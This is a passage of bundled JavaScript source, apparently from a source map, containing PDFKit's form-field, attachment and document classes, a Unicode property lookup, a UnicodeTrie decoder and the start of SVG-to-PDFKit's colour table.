{\r\n opts.Parent = opts.parent;\r\n delete opts.parent;\r\n }\r\n return opts;\r\n },\r\n\r\n _resolveType(type, opts) {\r\n if (type === 'text') {\r\n opts.FT = 'Tx';\r\n } else if (type === 'pushButton') {\r\n opts.FT = 'Btn';\r\n opts.pushButton = true;\r\n } else if (type === 'radioButton') {\r\n opts.FT = 'Btn';\r\n opts.radioButton = true;\r\n } else if (type === 'checkbox') {\r\n opts.FT = 'Btn';\r\n } else if (type === 'combo') {\r\n opts.FT = 'Ch';\r\n opts.combo = true;\r\n } else if (type === 'list') {\r\n opts.FT = 'Ch';\r\n } else {\r\n throw new Error(`Invalid form annotation type '${type}'`);\r\n }\r\n return opts;\r\n },\r\n\r\n _resolveFormat(opts) {\r\n const f = opts.format;\r\n if (f && f.type) {\r\n let fnKeystroke;\r\n let fnFormat;\r\n let params = '';\r\n if (FORMAT_SPECIAL[f.type] !== undefined) {\r\n fnKeystroke = `AFSpecial_Keystroke`;\r\n fnFormat = `AFSpecial_Format`;\r\n params = FORMAT_SPECIAL[f.type];\r\n } else {\r\n let format = f.type.charAt(0).toUpperCase() + f.type.slice(1);\r\n fnKeystroke = `AF${format}_Keystroke`;\r\n fnFormat = `AF${format}_Format`;\r\n\r\n if (f.type === 'date') {\r\n fnKeystroke += 'Ex';\r\n params = String(f.param);\r\n } else if (f.type === 'time') {\r\n params = String(f.param);\r\n } else if (f.type === 'number') {\r\n let p = Object.assign({}, FORMAT_DEFAULT.number, f);\r\n params = String(\r\n [\r\n String(p.nDec),\r\n p.sepComma ? '0' : '1',\r\n '\"' + p.negStyle + '\"',\r\n 'null',\r\n '\"' + p.currency + '\"',\r\n String(p.currencyPrepend)\r\n ].join(',')\r\n );\r\n } else if (f.type === 'percent') {\r\n let p = Object.assign({}, FORMAT_DEFAULT.percent, f);\r\n params = String([String(p.nDec), p.sepComma ? '0' : '1'].join(','));\r\n }\r\n }\r\n opts.AA = opts.AA ? opts.AA : {};\r\n opts.AA.K = {\r\n S: 'JavaScript',\r\n JS: new String(`${fnKeystroke}(${params});`)\r\n };\r\n opts.AA.F = {\r\n S: 'JavaScript',\r\n JS: new String(`${fnFormat}(${params});`)\r\n };\r\n }\r\n delete opts.format;\r\n return opts;\r\n },\r\n\r\n _resolveColors(opts) {\r\n let color = this._normalizeColor(opts.backgroundColor);\r\n if (color) {\r\n if (!opts.MK) {\r\n opts.MK = {};\r\n }\r\n opts.MK.BG = color;\r\n }\r\n color = this._normalizeColor(opts.borderColor);\r\n if (color) {\r\n if (!opts.MK) {\r\n opts.MK = {};\r\n }\r\n opts.MK.BC = color;\r\n }\r\n delete opts.backgroundColor;\r\n delete opts.borderColor;\r\n return opts;\r\n },\r\n\r\n _resolveFlags(options) {\r\n let result = 0;\r\n Object.keys(options).forEach(key => {\r\n if (FIELD_FLAGS[key]) {\r\n result |= FIELD_FLAGS[key];\r\n delete options[key];\r\n }\r\n });\r\n if (result !== 0) {\r\n options.Ff = options.Ff ? options.Ff : 0;\r\n options.Ff |= result;\r\n }\r\n return options;\r\n },\r\n\r\n _resolveJustify(options) {\r\n let result = 0;\r\n if (options.align !== undefined) {\r\n if (typeof FIELD_JUSTIFY[options.align] === 'number') {\r\n result = FIELD_JUSTIFY[options.align];\r\n }\r\n delete options.align;\r\n }\r\n if (result !== 0) {\r\n options.Q = result; // default\r\n }\r\n return options;\r\n },\r\n\r\n _resolveFont(options) {\r\n // add current font to document-level AcroForm dict if necessary\r\n if (this._acroform.fonts[this._font.id] === null) {\r\n this._acroform.fonts[this._font.id] = this._font.ref();\r\n }\r\n\r\n // add current font to field's resource dict (RD) if not the default acroform font\r\n if (this._acroform.defaultFont !== this._font.name) {\r\n options.DR = { Font: {} };\r\n\r\n // Get the fontSize option. If not set use auto sizing\r\n const fontSize = options.fontSize || 0;\r\n\r\n options.DR.Font[this._font.id] = this._font.ref();\r\n options.DA = new String(`/${this._font.id} ${fontSize} Tf 0 g`);\r\n }\r\n return options;\r\n },\r\n\r\n _resolveStrings(options) {\r\n let select = [];\r\n function appendChoices(a) {\r\n if (Array.isArray(a)) {\r\n for (let idx = 0; idx < a.length; idx++) {\r\n if (typeof a[idx] === 'string') {\r\n select.push(new String(a[idx]));\r\n } else {\r\n select.push(a[idx]);\r\n }\r\n }\r\n }\r\n }\r\n appendChoices(options.Opt);\r\n if (options.select) {\r\n appendChoices(options.select);\r\n delete options.select;\r\n }\r\n if (select.length) {\r\n options.Opt = select;\r\n }\r\n\r\n Object.keys(VALUE_MAP).forEach(key => {\r\n if (options[key] !== undefined) {\r\n options[VALUE_MAP[key]] = options[key];\r\n delete options[key];\r\n }\r\n });\r\n ['V', 'DV'].forEach(key => {\r\n if (typeof options[key] === 'string') {\r\n options[key] = new String(options[key]);\r\n }\r\n });\r\n\r\n if (options.MK && options.MK.CA) {\r\n options.MK.CA = new String(options.MK.CA);\r\n }\r\n if (options.label) {\r\n options.MK = options.MK ? options.MK : {};\r\n options.MK.CA = new String(options.label);\r\n delete options.label;\r\n }\r\n return options;\r\n }\r\n};\r\n","import fs from 'fs';\r\nimport CryptoJS from 'crypto-js';\r\n\r\nexport default {\r\n /**\r\n * Embed contents of `src` in PDF\r\n * @param {Buffer | ArrayBuffer | string} src input Buffer, ArrayBuffer, base64 encoded string or path to file\r\n * @param {object} options\r\n * * options.name: filename to be shown in PDF, will use `src` if none set\r\n * * options.type: filetype to be shown in PDF\r\n * * options.description: description to be shown in PDF\r\n * * options.hidden: if true, do not add attachment to EmbeddedFiles dictionary. Useful for file attachment annotations\r\n * * options.creationDate: override creation date\r\n * * options.modifiedDate: override modified date\r\n * @returns filespec reference\r\n */\r\n file(src, options = {}) {\r\n options.name = options.name || src;\r\n\r\n const refBody = {\r\n Type: 'EmbeddedFile',\r\n Params: {}\r\n };\r\n let data;\r\n\r\n if (!src) {\r\n throw new Error('No src specified');\r\n }\r\n if (Buffer.isBuffer(src)) {\r\n data = src;\r\n } else if (src instanceof ArrayBuffer) {\r\n data = Buffer.from(new Uint8Array(src));\r\n } else {\r\n let match;\r\n if ((match = /^data:(.*);base64,(.*)$/.exec(src))) {\r\n if (match[1]) {\r\n refBody.Subtype = match[1].replace('/', '#2F');\r\n }\r\n data = Buffer.from(match[2], 'base64');\r\n } else {\r\n data = fs.readFileSync(src);\r\n if (!data) {\r\n throw new Error(`Could not read contents of file at filepath ${src}`);\r\n }\r\n\r\n // update CreationDate and ModDate\r\n const { birthtime, ctime } = fs.statSync(src);\r\n refBody.Params.CreationDate = birthtime;\r\n refBody.Params.ModDate = ctime;\r\n }\r\n }\r\n\r\n // override creation date and modified date\r\n if (options.creationDate instanceof Date) {\r\n refBody.Params.CreationDate = options.creationDate;\r\n }\r\n if (options.modifiedDate instanceof Date) {\r\n refBody.Params.ModDate = options.modifiedDate;\r\n }\r\n // add optional subtype\r\n if (options.type) {\r\n refBody.Subtype = options.type.replace('/', '#2F');\r\n }\r\n\r\n // add checksum and size information\r\n const checksum = CryptoJS.MD5(\r\n CryptoJS.lib.WordArray.create(new Uint8Array(data))\r\n );\r\n refBody.Params.CheckSum = new String(checksum);\r\n refBody.Params.Size = data.byteLength;\r\n\r\n // save some space when embedding the same file again\r\n // if a file with the same name and metadata exists, reuse its reference\r\n let ref;\r\n if (!this._fileRegistry) this._fileRegistry = {};\r\n let file = this._fileRegistry[options.name];\r\n if (file && isEqual(refBody, file)) {\r\n ref = file.ref;\r\n } else {\r\n ref = this.ref(refBody);\r\n ref.end(data);\r\n\r\n this._fileRegistry[options.name] = { ...refBody, ref };\r\n }\r\n // add filespec for embedded file\r\n const fileSpecBody = {\r\n Type: 'Filespec',\r\n F: new String(options.name),\r\n EF: { F: ref },\r\n UF: new String(options.name)\r\n };\r\n if (options.description) {\r\n fileSpecBody.Desc = new String(options.description);\r\n }\r\n const filespec = this.ref(fileSpecBody);\r\n filespec.end();\r\n\r\n if (!options.hidden) {\r\n this.addNamedEmbeddedFile(options.name, filespec);\r\n }\r\n\r\n return filespec;\r\n }\r\n};\r\n\r\n/** check two embedded file metadata objects for equality */\r\nfunction isEqual(a, b) {\r\n return (\r\n a.Subtype === b.Subtype &&\r\n a.Params.CheckSum.toString() === b.Params.CheckSum.toString() &&\r\n a.Params.Size === b.Params.Size &&\r\n a.Params.CreationDate === b.Params.CreationDate &&\r\n a.Params.ModDate === b.Params.ModDate\r\n );\r\n}\r\n","/*\r\nPDFDocument - represents an entire PDF document\r\nBy Devon Govett\r\n*/\r\n\r\nimport stream from 'stream';\r\nimport fs from 'fs';\r\nimport PDFObject from './object';\r\nimport PDFReference from './reference';\r\nimport PDFPage from './page';\r\nimport PDFNameTree from './name_tree';\r\nimport PDFSecurity from './security';\r\nimport ColorMixin from './mixins/color';\r\nimport VectorMixin from './mixins/vector';\r\nimport FontsMixin from './mixins/fonts';\r\nimport TextMixin from './mixins/text';\r\nimport ImagesMixin from './mixins/images';\r\nimport AnnotationsMixin from './mixins/annotations';\r\nimport OutlineMixin from './mixins/outline';\r\nimport MarkingsMixin from './mixins/markings';\r\nimport AcroFormMixin from './mixins/acroform';\r\nimport AttachmentsMixin from './mixins/attachments';\r\nimport LineWrapper from './line_wrapper';\r\n\r\nclass PDFDocument extends stream.Readable {\r\n constructor(options = {}) {\r\n super(options);\r\n this.options = options;\r\n\r\n // PDF version\r\n switch (options.pdfVersion) {\r\n case '1.4':\r\n this.version = 1.4;\r\n break;\r\n case '1.5':\r\n this.version = 1.5;\r\n break;\r\n case '1.6':\r\n this.version = 1.6;\r\n break;\r\n case '1.7':\r\n case '1.7ext3':\r\n this.version = 1.7;\r\n break;\r\n default:\r\n this.version = 1.3;\r\n break;\r\n }\r\n\r\n // Whether streams should be compressed\r\n this.compress =\r\n this.options.compress != null ? this.options.compress : true;\r\n\r\n this._pageBuffer = [];\r\n this._pageBufferStart = 0;\r\n\r\n // The PDF object store\r\n this._offsets = [];\r\n this._waiting = 0;\r\n this._ended = false;\r\n this._offset = 0;\r\n const Pages = this.ref({\r\n Type: 'Pages',\r\n Count: 0,\r\n Kids: []\r\n });\r\n\r\n const Names = this.ref({\r\n Dests: new PDFNameTree()\r\n });\r\n\r\n this._root = this.ref({\r\n Type: 'Catalog',\r\n Pages,\r\n Names\r\n });\r\n\r\n if (this.options.lang) {\r\n this._root.data.Lang = new String(this.options.lang);\r\n }\r\n\r\n // The current page\r\n this.page = null;\r\n\r\n // Initialize mixins\r\n this.initColor();\r\n this.initVector();\r\n this.initFonts(options.font);\r\n this.initText();\r\n this.initImages();\r\n this.initOutline();\r\n this.initMarkings(options);\r\n\r\n // Initialize the metadata\r\n this.info = {\r\n Producer: 'PDFKit',\r\n Creator: 'PDFKit',\r\n CreationDate: new Date()\r\n };\r\n\r\n if (this.options.info) {\r\n for (let key in this.options.info) {\r\n const val = this.options.info[key];\r\n this.info[key] = val;\r\n }\r\n }\r\n\r\n if (this.options.displayTitle) {\r\n this._root.data.ViewerPreferences = this.ref({\r\n DisplayDocTitle: true\r\n });\r\n }\r\n\r\n // Generate file ID\r\n this._id = PDFSecurity.generateFileID(this.info);\r\n\r\n // Initialize security settings\r\n this._security = PDFSecurity.create(this, options);\r\n\r\n // Write the header\r\n // PDF version\r\n this._write(`%PDF-${this.version}`);\r\n\r\n // 4 binary chars, as recommended by the spec\r\n this._write('%\\xFF\\xFF\\xFF\\xFF');\r\n\r\n // Add the first page\r\n if (this.options.autoFirstPage !== false) {\r\n this.addPage();\r\n }\r\n }\r\n\r\n addPage(options) {\r\n if (options == null) {\r\n ({ options } = this);\r\n }\r\n\r\n // end the current page if needed\r\n if (!this.options.bufferPages) {\r\n this.flushPages();\r\n }\r\n\r\n // create a page object\r\n this.page = new PDFPage(this, options);\r\n this._pageBuffer.push(this.page);\r\n\r\n // add the page to the object store\r\n const pages = this._root.data.Pages.data;\r\n pages.Kids.push(this.page.dictionary);\r\n pages.Count++;\r\n\r\n // reset x and y coordinates\r\n this.x = this.page.margins.left;\r\n this.y = this.page.margins.top;\r\n\r\n // flip PDF coordinate system so that the origin is in\r\n // the top left rather than the bottom left\r\n this._ctm = [1, 0, 0, 1, 0, 0];\r\n this.transform(1, 0, 0, -1, 0, this.page.height);\r\n\r\n this.emit('pageAdded');\r\n\r\n return this;\r\n }\r\n\r\n continueOnNewPage(options) {\r\n const pageMarkings = this.endPageMarkings(this.page);\r\n\r\n this.addPage(options);\r\n\r\n this.initPageMarkings(pageMarkings);\r\n\r\n return this;\r\n }\r\n\r\n bufferedPageRange() {\r\n return { start: this._pageBufferStart, count: this._pageBuffer.length };\r\n }\r\n\r\n switchToPage(n) {\r\n let page;\r\n if (!(page = this._pageBuffer[n - this._pageBufferStart])) {\r\n throw new Error(\r\n `switchToPage(${n}) out of bounds, current buffer covers pages ${\r\n this._pageBufferStart\r\n } to ${this._pageBufferStart + this._pageBuffer.length - 1}`\r\n );\r\n }\r\n\r\n return (this.page = page);\r\n }\r\n\r\n flushPages() {\r\n // this local variable exists so we're future-proof against\r\n // reentrant calls to flushPages.\r\n const pages = this._pageBuffer;\r\n this._pageBuffer = [];\r\n this._pageBufferStart += pages.length;\r\n for (let page of pages) {\r\n this.endPageMarkings(page);\r\n page.end();\r\n }\r\n }\r\n\r\n addNamedDestination(name, ...args) {\r\n if (args.length === 0) {\r\n args = ['XYZ', null, null, null];\r\n }\r\n if (args[0] === 'XYZ' && args[2] !== null) {\r\n args[2] = this.page.height - args[2];\r\n }\r\n args.unshift(this.page.dictionary);\r\n this._root.data.Names.data.Dests.add(name, args);\r\n }\r\n\r\n addNamedEmbeddedFile(name, ref) {\r\n if (!this._root.data.Names.data.EmbeddedFiles) {\r\n // disabling /Limits for this tree fixes attachments not showing in Adobe Reader\r\n this._root.data.Names.data.EmbeddedFiles = new PDFNameTree({ limits: false });\r\n }\r\n\r\n // add filespec to EmbeddedFiles\r\n this._root.data.Names.data.EmbeddedFiles.add(name, ref);\r\n }\r\n\r\n addNamedJavaScript(name, js) {\r\n if (!this._root.data.Names.data.JavaScript) {\r\n this._root.data.Names.data.JavaScript = new PDFNameTree();\r\n }\r\n let data = {\r\n JS: new String(js),\r\n S: 'JavaScript'\r\n };\r\n this._root.data.Names.data.JavaScript.add(name, data);\r\n }\r\n\r\n ref(data) {\r\n const ref = new PDFReference(this, this._offsets.length + 1, data);\r\n this._offsets.push(null); // placeholder for this object's offset once it is finalized\r\n this._waiting++;\r\n return ref;\r\n }\r\n\r\n _read() {}\r\n // do nothing, but this method is required by node\r\n\r\n _write(data) {\r\n if (!Buffer.isBuffer(data)) {\r\n data = Buffer.from(data + '\\n', 'binary');\r\n }\r\n\r\n this.push(data);\r\n return (this._offset += data.length);\r\n }\r\n\r\n addContent(data) {\r\n this.page.write(data);\r\n return this;\r\n }\r\n\r\n _refEnd(ref) {\r\n this._offsets[ref.id - 1] = ref.offset;\r\n if (--this._waiting === 0 && this._ended) {\r\n this._finalize();\r\n return (this._ended = false);\r\n }\r\n }\r\n\r\n write(filename, fn) {\r\n // print a deprecation warning with a stacktrace\r\n const err = new Error(`\\\r\nPDFDocument#write is deprecated, and will be removed in a future version of PDFKit. \\\r\nPlease pipe the document into a Node stream.\\\r\n`);\r\n\r\n console.warn(err.stack);\r\n\r\n this.pipe(fs.createWriteStream(filename));\r\n this.end();\r\n return this.once('end', fn);\r\n }\r\n\r\n end() {\r\n this.flushPages();\r\n this._info = this.ref();\r\n for (let key in this.info) {\r\n let val = this.info[key];\r\n if (typeof val === 'string') {\r\n val = new String(val);\r\n }\r\n\r\n let entry = this.ref(val);\r\n entry.end();\r\n\r\n this._info.data[key] = entry;\r\n }\r\n\r\n this._info.end();\r\n\r\n for (let name in this._fontFamilies) {\r\n const font = this._fontFamilies[name];\r\n font.finalize();\r\n }\r\n\r\n this.endOutline();\r\n this.endMarkings();\r\n\r\n this._root.end();\r\n this._root.data.Pages.end();\r\n this._root.data.Names.end();\r\n this.endAcroForm();\r\n\r\n if (this._root.data.ViewerPreferences) {\r\n this._root.data.ViewerPreferences.end();\r\n }\r\n\r\n if (this._security) {\r\n this._security.end();\r\n }\r\n\r\n if (this._waiting === 0) {\r\n return this._finalize();\r\n } else {\r\n return (this._ended = true);\r\n }\r\n }\r\n\r\n _finalize() {\r\n // generate xref\r\n const xRefOffset = this._offset;\r\n this._write('xref');\r\n this._write(`0 ${this._offsets.length + 1}`);\r\n this._write('0000000000 65535 f ');\r\n\r\n for (let offset of this._offsets) {\r\n offset = `0000000000${offset}`.slice(-10);\r\n this._write(offset + ' 00000 n ');\r\n }\r\n\r\n // trailer\r\n const trailer = {\r\n Size: this._offsets.length + 1,\r\n Root: this._root,\r\n Info: this._info,\r\n ID: [this._id, this._id]\r\n };\r\n if (this._security) {\r\n trailer.Encrypt = this._security.dictionary;\r\n }\r\n\r\n this._write('trailer');\r\n this._write(PDFObject.convert(trailer));\r\n\r\n this._write('startxref');\r\n this._write(`${xRefOffset}`);\r\n this._write('%%EOF');\r\n\r\n // end the stream\r\n return this.push(null);\r\n }\r\n\r\n toString() {\r\n return '[object PDFDocument]';\r\n }\r\n}\r\n\r\nconst mixin = methods => {\r\n Object.assign(PDFDocument.prototype, methods);\r\n};\r\n\r\nmixin(ColorMixin);\r\nmixin(VectorMixin);\r\nmixin(FontsMixin);\r\nmixin(TextMixin);\r\nmixin(ImagesMixin);\r\nmixin(AnnotationsMixin);\r\nmixin(OutlineMixin);\r\nmixin(MarkingsMixin);\r\nmixin(AcroFormMixin);\r\nmixin(AttachmentsMixin);\r\n\r\nPDFDocument.LineWrapper = LineWrapper;\r\n\r\nexport default PDFDocument;\r\n","const log2 = Math.log2 || (n => Math.log(n) / Math.LN2);\nconst bits = (n) => ((log2(n) + 1) | 0);\n\nconst buildUnicodeProperties = (data, trie) => {\n // compute the number of bits stored for each field\n const CATEGORY_BITS = bits(data.categories.length - 1);\n const COMBINING_BITS = bits(data.combiningClasses.length - 1);\n const SCRIPT_BITS = bits(data.scripts.length - 1);\n const EAW_BITS = bits(data.eaw.length - 1);\n const NUMBER_BITS = 10;\n\n // compute shift and mask values for each field\n const CATEGORY_SHIFT = COMBINING_BITS + SCRIPT_BITS + EAW_BITS + NUMBER_BITS;\n const COMBINING_SHIFT = SCRIPT_BITS + EAW_BITS + NUMBER_BITS;\n const SCRIPT_SHIFT = EAW_BITS + NUMBER_BITS;\n const EAW_SHIFT = NUMBER_BITS;\n const CATEGORY_MASK = (1 << CATEGORY_BITS) - 1;\n const COMBINING_MASK = (1 << COMBINING_BITS) - 1;\n const SCRIPT_MASK = (1 << SCRIPT_BITS) - 1;\n const EAW_MASK = (1 << EAW_BITS) - 1;\n const NUMBER_MASK = (1 << NUMBER_BITS) - 1;\n\n const getCategory = (codePoint) => {\n const val = trie.get(codePoint);\n return data.categories[(val >> CATEGORY_SHIFT) & CATEGORY_MASK];\n };\n\n const getCombiningClass = (codePoint) => {\n const val = trie.get(codePoint);\n return data.combiningClasses[(val >> COMBINING_SHIFT) & COMBINING_MASK];\n };\n\n const getScript = (codePoint) => {\n const val = trie.get(codePoint);\n return data.scripts[(val >> SCRIPT_SHIFT) & SCRIPT_MASK];\n };\n\n const getEastAsianWidth = (codePoint) => {\n const val = trie.get(codePoint);\n return data.eaw[(val >> EAW_SHIFT) & EAW_MASK];\n };\n\n const getNumericValue = (codePoint) => {\n let val = trie.get(codePoint);\n let num = val & NUMBER_MASK;\n\n if (num === 0) {\n return null;\n } else if (num <= 50) {\n return num - 1;\n } else if (num < 0x1e0) {\n const numerator = (num >> 4) - 12;\n const denominator = (num & 0xf) + 1;\n return numerator / denominator;\n } else if (num < 0x300) {\n val = (num >> 5) - 14;\n let exp = (num & 0x1f) + 2;\n\n while (exp > 0) {\n val *= 10;\n exp--;\n }\n return val;\n } else {\n val = (num >> 2) - 0xbf;\n let exp = (num & 3) + 1;\n while (exp > 0) {\n val *= 60;\n exp--;\n }\n return val;\n }\n };\n\n const isAlphabetic = (codePoint) => {\n const category = getCategory(codePoint);\n return (\n category === 'Lu' ||\n category === 'Ll' ||\n category === 'Lt' ||\n category === 'Lm' ||\n category === 'Lo' ||\n category === 'Nl'\n )\n };\n\n const isDigit = (codePoint) => (\n getCategory(codePoint) === 'Nd'\n );\n\n const isPunctuation = (codePoint) => {\n const category = getCategory(codePoint);\n return (\n category === 'Pc' ||\n category === 'Pd' ||\n category === 'Pe' ||\n category === 'Pf' ||\n category === 'Pi' ||\n category === 'Po' ||\n category === 'Ps'\n );\n };\n\n const isLowerCase = (codePoint) => {\n return getCategory(codePoint) === 'Ll';\n };\n\n const isUpperCase = (codePoint) => (\n getCategory(codePoint) === 'Lu'\n );\n\n const isTitleCase = (codePoint) => (\n getCategory(codePoint) === 'Lt'\n );\n\n const isWhiteSpace = (codePoint) => {\n const category = getCategory(codePoint);\n return (\n category === 'Zs' ||\n category === 'Zl' ||\n category === 'Zp'\n );\n };\n\n const isBaseForm = (codePoint) => {\n const category = getCategory(codePoint);\n return (\n category === 'Nd' ||\n category === 'No' ||\n category === 'Nl' ||\n category === 'Lu' ||\n category === 'Ll' ||\n category === 'Lt' ||\n category === 'Lm' ||\n category === 'Lo' ||\n category === 'Me' ||\n category === 'Mc'\n )\n };\n\n const isMark = (codePoint) => {\n const category = getCategory(codePoint);\n return (\n category === 'Mn' ||\n category === 'Me' ||\n category === 'Mc'\n );\n };\n\n return {\n getCategory,\n getCombiningClass,\n getScript,\n getEastAsianWidth,\n getNumericValue,\n isAlphabetic,\n isDigit,\n isPunctuation,\n isLowerCase,\n isUpperCase,\n isTitleCase,\n isWhiteSpace,\n isBaseForm,\n isMark\n }\n}\n\nexport default buildUnicodeProperties;\n","import UnicodeTrie from 'unicode-trie';\nimport base64 from 'base64-js';\nimport data from './data.json';\nimport trieData from './trie.json';\nimport buildUnicodeProperties from './index';\n\nconst trie = new UnicodeTrie(base64.toByteArray(trieData.data));\nconst unicodeProperties = buildUnicodeProperties(data, trie);\n\nexport default unicodeProperties;\n","const inflate = require('tiny-inflate');\nconst { swap32LE } = require('./swap');\n\n// Shift size for getting the index-1 table offset.\nconst SHIFT_1 = 6 + 5;\n\n// Shift size for getting the index-2 table offset.\nconst SHIFT_2 = 5;\n\n// Difference between the two shift sizes,\n// for getting an index-1 offset from an index-2 offset. 6=11-5\nconst SHIFT_1_2 = SHIFT_1 - SHIFT_2;\n\n// Number of index-1 entries for the BMP. 32=0x20\n// This part of the index-1 table is omitted from the serialized form.\nconst OMITTED_BMP_INDEX_1_LENGTH = 0x10000 >> SHIFT_1;\n\n// Number of entries in an index-2 block. 64=0x40\nconst INDEX_2_BLOCK_LENGTH = 1 << SHIFT_1_2;\n\n// Mask for getting the lower bits for the in-index-2-block offset. */\nconst INDEX_2_MASK = INDEX_2_BLOCK_LENGTH - 1;\n\n// Shift size for shifting left the index array values.\n// Increases possible data size with 16-bit index values at the cost\n// of compactability.\n// This requires data blocks to be aligned by DATA_GRANULARITY.\nconst INDEX_SHIFT = 2;\n\n// Number of entries in a data block. 32=0x20\nconst DATA_BLOCK_LENGTH = 1 << SHIFT_2;\n\n// Mask for getting the lower bits for the in-data-block offset.\nconst DATA_MASK = DATA_BLOCK_LENGTH - 1;\n\n// The part of the index-2 table for U+D800..U+DBFF stores values for\n// lead surrogate code _units_ not code _points_.\n// Values for lead surrogate code _points_ are indexed with this portion of the table.\n// Length=32=0x20=0x400>>SHIFT_2. (There are 1024=0x400 lead surrogates.)\nconst LSCP_INDEX_2_OFFSET = 0x10000 >> SHIFT_2;\nconst LSCP_INDEX_2_LENGTH = 0x400 >> SHIFT_2;\n\n// Count the lengths of both BMP pieces. 2080=0x820\nconst INDEX_2_BMP_LENGTH = LSCP_INDEX_2_OFFSET + LSCP_INDEX_2_LENGTH;\n\n// The 2-byte UTF-8 version of the index-2 table follows at offset 2080=0x820.\n// Length 32=0x20 for lead bytes C0..DF, regardless of SHIFT_2.\nconst UTF8_2B_INDEX_2_OFFSET = INDEX_2_BMP_LENGTH;\nconst UTF8_2B_INDEX_2_LENGTH = 0x800 >> 6; // U+0800 is the first code point after 2-byte UTF-8\n\n// The index-1 table, only used for supplementary code points, at offset 2112=0x840.\n// Variable length, for code points up to highStart, where the last single-value range starts.\n// Maximum length 512=0x200=0x100000>>SHIFT_1.\n// (For 0x100000 supplementary code points U+10000..U+10ffff.)\n//\n// The part of the index-2 table for supplementary code points starts\n// after this index-1 table.\n//\n// Both the index-1 table and the following part of the index-2 table\n// are omitted completely if there is only BMP data.\nconst INDEX_1_OFFSET = UTF8_2B_INDEX_2_OFFSET + UTF8_2B_INDEX_2_LENGTH;\n\n// The alignment size of a data block. Also the granularity for compaction.\nconst DATA_GRANULARITY = 1 << INDEX_SHIFT;\n\nclass UnicodeTrie {\n constructor(data) {\n const isBuffer = (typeof data.readUInt32BE === 'function') && (typeof data.slice === 'function');\n\n if (isBuffer || data instanceof Uint8Array) {\n // read binary format\n let uncompressedLength;\n if (isBuffer) {\n this.highStart = data.readUInt32LE(0);\n this.errorValue = data.readUInt32LE(4);\n uncompressedLength = data.readUInt32LE(8);\n data = data.slice(12);\n } else {\n const view = new DataView(data.buffer);\n this.highStart = view.getUint32(0, true);\n this.errorValue = view.getUint32(4, true);\n uncompressedLength = view.getUint32(8, true);\n data = data.subarray(12);\n }\n\n // double inflate the actual trie data\n data = inflate(data, new Uint8Array(uncompressedLength));\n data = inflate(data, new Uint8Array(uncompressedLength));\n\n // swap bytes from little-endian\n swap32LE(data);\n\n this.data = new Uint32Array(data.buffer);\n\n } else {\n // pre-parsed data\n ({ data: this.data, highStart: this.highStart, errorValue: this.errorValue } = data);\n }\n }\n\n get(codePoint) {\n let index;\n if ((codePoint < 0) || (codePoint > 0x10ffff)) {\n return this.errorValue;\n }\n\n if ((codePoint < 0xd800) || ((codePoint > 0xdbff) && (codePoint <= 0xffff))) {\n // Ordinary BMP code point, excluding leading surrogates.\n // BMP uses a single level lookup. BMP index starts at offset 0 in the index.\n // data is stored in the index array itself.\n index = (this.data[codePoint >> SHIFT_2] << INDEX_SHIFT) + (codePoint & DATA_MASK);\n return this.data[index];\n }\n\n if (codePoint <= 0xffff) {\n // Lead Surrogate Code Point. A Separate index section is stored for\n // lead surrogate code units and code points.\n // The main index has the code unit data.\n // For this function, we need the code point data.\n index = (this.data[LSCP_INDEX_2_OFFSET + ((codePoint - 0xd800) >> SHIFT_2)] << INDEX_SHIFT) + (codePoint & DATA_MASK);\n return this.data[index];\n }\n\n if (codePoint < this.highStart) {\n // Supplemental code point, use two-level lookup.\n index = this.data[(INDEX_1_OFFSET - OMITTED_BMP_INDEX_1_LENGTH) + (codePoint >> SHIFT_1)];\n index = this.data[index + ((codePoint >> SHIFT_2) & INDEX_2_MASK)];\n index = (index << INDEX_SHIFT) + (codePoint & DATA_MASK);\n return this.data[index];\n }\n\n return this.data[this.data.length - DATA_GRANULARITY];\n }\n}\n\nmodule.exports = UnicodeTrie;","const isBigEndian = (new Uint8Array(new Uint32Array([0x12345678]).buffer)[0] === 0x12);\n\nconst swap = (b, n, m) => {\n let i = b[n];\n b[n] = b[m];\n b[m] = i;\n};\n\nconst swap32 = array => {\n const len = array.length;\n for (let i = 0; i < len; i += 4) {\n swap(array, i, i + 3);\n swap(array, i + 1, i + 2);\n }\n};\n\nconst swap32LE = array => {\n if (isBigEndian) {\n swap32(array);\n }\n};\n\nmodule.exports = {\n swap32LE: swap32LE\n};\n","var SVGtoPDF = require('./svg-to-pdfkit/source.js');\r\n\r\nmodule.exports = SVGtoPDF;\r\n","var SVGtoPDF = function(doc, svg, x, y, options) {\r\n \"use strict\";\r\n\r\n const NamedColors = {aliceblue: [240,248,255], antiquewhite: [250,235,215], aqua: [0,255,255], aquamarine: [127,255,212], azure: [240,255,255], beige: [245,245,220], bisque: [255,228,196], black: [0,0,0], blanchedalmond: [255,235,205], blue: [0,0,255], blueviolet: [138,43,226], brown: [165,42,42], burlywood: [222,184,135], cadetblue: [95,158,160], chartreuse: [127,255,0],\r\n chocolate: [210,105,30], coral: [255,127,80], cornflowerblue: [100,149,237], cornsilk: [255,248,220], crimson: [220,20,60], cyan: [0,255,255], darkblue: [0,0,139], darkcyan: [0,139,139], darkgoldenrod: [184,134,11], darkgray: [169,169,169], darkgrey: [169,169,169], darkgreen: [0,100,0], darkkhaki: [189,183,107], darkmagenta: [139,0,139], darkolivegreen: [85,107,47],\r\n darkorange: [255,140,0], darkorchid: [153,50,204], darkred: [139,0,0], darksalmon: [233,150,122], darkseagreen: [143,188,143], darkslateblue: [72,61,139], darkslategray: [47,79,79], darkslategrey: [47,79,79], darkturquoise: [0,206,209], darkviolet: [148,0,211], deeppink: [255,20,147], deepskyblue: [0,191,255], dimgray: [105,105,105], dimgrey: [105,105,105],\r\n dodgerblue: [30,144,255], firebrick: [178,34,34], floralwhite: [255,250,240], forestgreen: [34,139,34], fuchsia: [255,0,255], gainsboro: [220,220,220], ghostwhite: [248,248,255], gold: [255,215,0], goldenrod: [218,165,32], gray: [128,128,128], grey: [128,128,128], green: [0,128,0], greenyellow: [173,255,47], honeydew: [240,255,240], hotpink: [255,105,180],\r\n indianred: [205,92,92], indigo: [75,0,130], ivory: [255,255,240], khaki: [240,230,140], lavender: [230,230,250], lavenderblush: [255,240,245], lawngreen: [124,252,0], lemonchiffon: [255,250,205], lightblue: [173,216,230], lightcoral: [240,128,128], lightcyan: [224,255,255], lightgoldenrodyellow: [250,250,210], lightgray: [211,211,211], lightgrey: [211,211,211],\r\n lightgreen: [144,238,144], lightpink: [255,182,193], lightsalmon: [255,160,122], lightseagreen: [32,178,170], lightskyblue: [135,206,250], lightslategray: [119,136,153], lightslategrey: [119,136,153], lightsteelblue: [176,196,222], lightyellow: [255,255,224], lime: [0,255,0], limegreen: 